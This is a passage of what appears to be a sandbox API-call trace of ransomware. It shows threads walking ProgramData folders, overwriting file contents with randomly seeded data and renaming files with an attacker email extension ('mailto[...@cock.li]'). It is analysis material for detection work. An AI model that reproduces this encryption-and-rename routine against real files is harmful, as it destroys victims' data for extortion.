	[0092.085] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0
	[0092.085] FindClose (in: hFindFile=0x477b5a8 | out: hFindFile=0x477b5a8) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030f10) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1
	[0092.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780508) returned 1
	[0092.086] FindNextFileW (in: hFindFile=0x2d87978, lpFindFileData=0x2e15168 | out: lpFindFileData=0x2e15168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0092.086] wcscmp (_String1="Downloader", _String2=".") returned 1
	[0092.086] wcscmp (_String1="Downloader", _String2="..") returned 1
	[0092.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77cc0
	[0092.086] wcscpy (in: _Dest=0x2d77cc0, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0092.086] wcscat (in: _Dest=0x2d77cc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0092.086] wcscat (in: _Dest=0x2d77cc0, _Source="Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0092.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4733ee8
	[0092.086] wcscpy (in: _Dest=0x4733ee8, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0092.086] wcscat (in: _Dest=0x4733ee8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0092.086] wcscat (in: _Dest=0x4733ee8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*"
	[0092.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f700
	[0092.086] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0092.090] wcscmp (_String1=".", _String2=".") returned 0
	[0092.090] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.090] wcscmp (_String1="..", _String2=".") returned 1
	[0092.090] wcscmp (_String1="..", _String2="..") returned 0
	[0092.090] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f700 | out: lpFindFileData=0x502f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x18b7cc5b, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0092.090] wcscmp (_String1="edb.chk", _String2=".") returned 1
	[0092.090] wcscmp (_String1="edb.chk", _String2="..") returned 1
	[0092.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ec8f0
	[0092.090] wcscpy (in: _Dest=0x47ec8f0, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0092.090] wcscat (in: _Dest=0x47ec8f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0092.090] wcscat (in: _Dest=0x47ec8f0, _Source="edb.chk" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk"
	[0092.090] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk")) returned 0x20
	[0092.093] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", dwFileAttributes=0x20) returned 1
	[0092.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970
	[0092.093] GetFileSizeEx (in: hFile=0x970, lpFileSize=0xda3f968 | out: lpFileSize=0xda3f968*=8192) returned 1
	[0092.093] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.093] ReadFile (in: hFile=0x970, lpBuffer=0xda3f8ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xda3f8e8, lpOverlapped=0x0 | out: lpBuffer=0xda3f8ec*, lpNumberOfBytesRead=0xda3f8e8*=0x4, lpOverlapped=0x0) returned 1
	[0092.096] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0092.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.096] NtQuerySystemTime (in: CurrentTime=0xda3f8c8 | out: CurrentTime=0xda3f8c8*=132251868188377477) returned 0x0
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x55de0cd7
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x60dba436
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x50705887
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x6d88cbc8
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xeb4efc65
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xc9e6ed25
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xf8178cfc
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x4e30500f
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x7b22abbd
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x943b7fe5
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xc9fdeae8
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x7e007d68
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xb03e750b
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x495d23db
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xbff9f2d8
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xc957b5b9
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x25a3a1a5
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xd46a4040
	[0092.096] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x9f6dc401
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x5869a1e8
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xdf42654f
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xc3fc5312
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x6518c4a3
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x5398a4f0
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xc003b87c
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x80eeac12
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x11de9f3c
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0xf36c201d
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x19f66376
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x25b52280
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x87ae27a7
	[0092.097] RtlRandom (in: Seed=0xda3f8d4 | out: Seed=0xda3f8d4) returned 0x5a77a8ae
	[0092.105] ReadFile (in: hFile=0x970, lpBuffer=0x50bd898, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0xda3f8c4, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0xda3f8c4*=0x2000, lpOverlapped=0x0) returned 1
	[0092.108] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.108] WriteFile (in: hFile=0x970, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0xda3f8c0, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0xda3f8c0*=0x2000, lpOverlapped=0x0) returned 1
	[0092.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0092.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0092.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0092.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa48) returned 1
	[0092.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x4731a88
	[0092.111] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.111] WriteFile (in: hFile=0x970, lpBuffer=0x5026a60*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0xda3f928, lpOverlapped=0x0 | out: lpBuffer=0x5026a60*, lpNumberOfBytesWritten=0xda3f928*=0xff, lpOverlapped=0x0) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026a60) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0092.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481ba08
	[0092.122] wcscpy (in: _Dest=0x481ba08, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk"
	[0092.122] wcscat (in: _Dest=0x481ba08, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.122] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xda3f8e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718900
	[0092.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718900) returned 1
	[0092.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d320) returned 1
	[0092.123] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0xda3f8ec, FileInformation=0xda3f8c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xda3f8ec, FileInformation=0xda3f8c4) returned 0x0
	[0092.123] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0xda3f8ec, FileInformation=0xda3f8c4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.124] FlushFileBuffers (hFile=0x970) returned 1
	[0093.277] CloseHandle (hObject=0x970) 

Thread:
	id = 308
	os_tid = 0x1364

	[0076.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2db0380
	[0076.848] wcscpy (in: _Dest=0x2db0380, _Source="C:\\ProgramData\\Microsoft\\Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0076.848] wcscat (in: _Dest=0x2db0380, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Office\\") returned="C:\\ProgramData\\Microsoft\\Office\\"
	[0076.848] wcscat (in: _Dest=0x2db0380, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Office\\*") returned="C:\\ProgramData\\Microsoft\\Office\\*"
	[0076.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14090
	[0076.848] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x2e14090 | out: lpFindFileData=0x2e14090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d879b8
	[0080.015] wcscmp (_String1=".", _String2=".") returned 0
	[0080.015] FindNextFileW (in: hFindFile=0x2d879b8, lpFindFileData=0x2e14090 | out: lpFindFileData=0x2e14090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.015] wcscmp (_String1="..", _String2=".") returned 1
	[0080.015] wcscmp (_String1="..", _String2="..") returned 0
	[0080.015] FindNextFileW (in: hFindFile=0x2d879b8, lpFindFileData=0x2e14090 | out: lpFindFileData=0x2e14090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1
	[0080.015] wcscmp (_String1="ClickToRunPackageLocker", _String2=".") returned 1
	[0080.015] wcscmp (_String1="ClickToRunPackageLocker", _String2="..") returned 1
	[0080.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0080.015] wcscpy (in: _Dest=0x47539f8, _Source="C:\\ProgramData\\Microsoft\\Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0080.015] wcscat (in: _Dest=0x47539f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Office\\") returned="C:\\ProgramData\\Microsoft\\Office\\"
	[0080.015] wcscat (in: _Dest=0x47539f8, _Source="ClickToRunPackageLocker" | out: _Dest="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker"
	[0092.022] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker")) returned 0x20
	[0092.022] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 1
	[0092.023] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f0
	[0092.023] GetFileSizeEx (in: hFile=0x13f0, lpFileSize=0xdabf79c | out: lpFileSize=0xdabf79c*=0) returned 1
	[0092.023] FlushFileBuffers (hFile=0x13f0) returned 1
	[0093.276] CloseHandle (hObject=0x13f0) returned 1
	[0093.276] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 1
	[0093.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0093.276] FindNextFileW (in: hFindFile=0x2d879b8, lpFindFileData=0x2e14090 | out: lpFindFileData=0x2e14090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 0
	[0093.276] FindClose (in: hFindFile=0x2d879b8 | out: hFindFile=0x2d879b8) returned 1
	[0093.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14090) returned 1
	[0093.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db0380) returned 1
	[0093.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d735d0) returned 1

Thread:
	id = 309
	os_tid = 0x12e0

	[0076.849] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2db03d0
	[0076.849] wcscpy (in: _Dest=0x2db03d0, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search"
	[0076.849] wcscat (in: _Dest=0x2db03d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\"
	[0076.849] wcscat (in: _Dest=0x2db03d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\*") returned="C:\\ProgramData\\Microsoft\\Search\\*"
	[0076.849] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26a58
	[0076.849] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x2e26a58 | out: lpFindFileData=0x2e26a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87cf8
	[0080.007] wcscmp (_String1=".", _String2=".") returned 0
	[0080.007] FindNextFileW (in: hFindFile=0x2d87cf8, lpFindFileData=0x2e26a58 | out: lpFindFileData=0x2e26a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.007] wcscmp (_String1="..", _String2=".") returned 1
	[0080.007] wcscmp (_String1="..", _String2="..") returned 0
	[0080.007] FindNextFileW (in: hFindFile=0x2d87cf8, lpFindFileData=0x2e26a58 | out: lpFindFileData=0x2e26a58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0080.008] wcscmp (_String1="Data", _String2=".") returned 1
	[0080.008] wcscmp (_String1="Data", _String2="..") returned 1
	[0080.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabad8
	[0080.008] wcscpy (in: _Dest=0x2dabad8, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search"
	[0080.008] wcscat (in: _Dest=0x2dabad8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\"
	[0080.008] wcscat (in: _Dest=0x2dabad8, _Source="Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data"
	[0092.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac7e8
	[0092.089] wcscpy (in: _Dest=0x2dac7e8, _Source="C:\\ProgramData\\Microsoft\\Search\\Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data"
	[0092.089] wcscat (in: _Dest=0x2dac7e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\"
	[0092.089] wcscat (in: _Dest=0x2dac7e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\*"
	[0092.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0092.089] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0092.091] wcscmp (_String1=".", _String2=".") returned 0
	[0092.091] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.091] wcscmp (_String1="..", _String2=".") returned 1
	[0092.091] wcscmp (_String1="..", _String2="..") returned 0
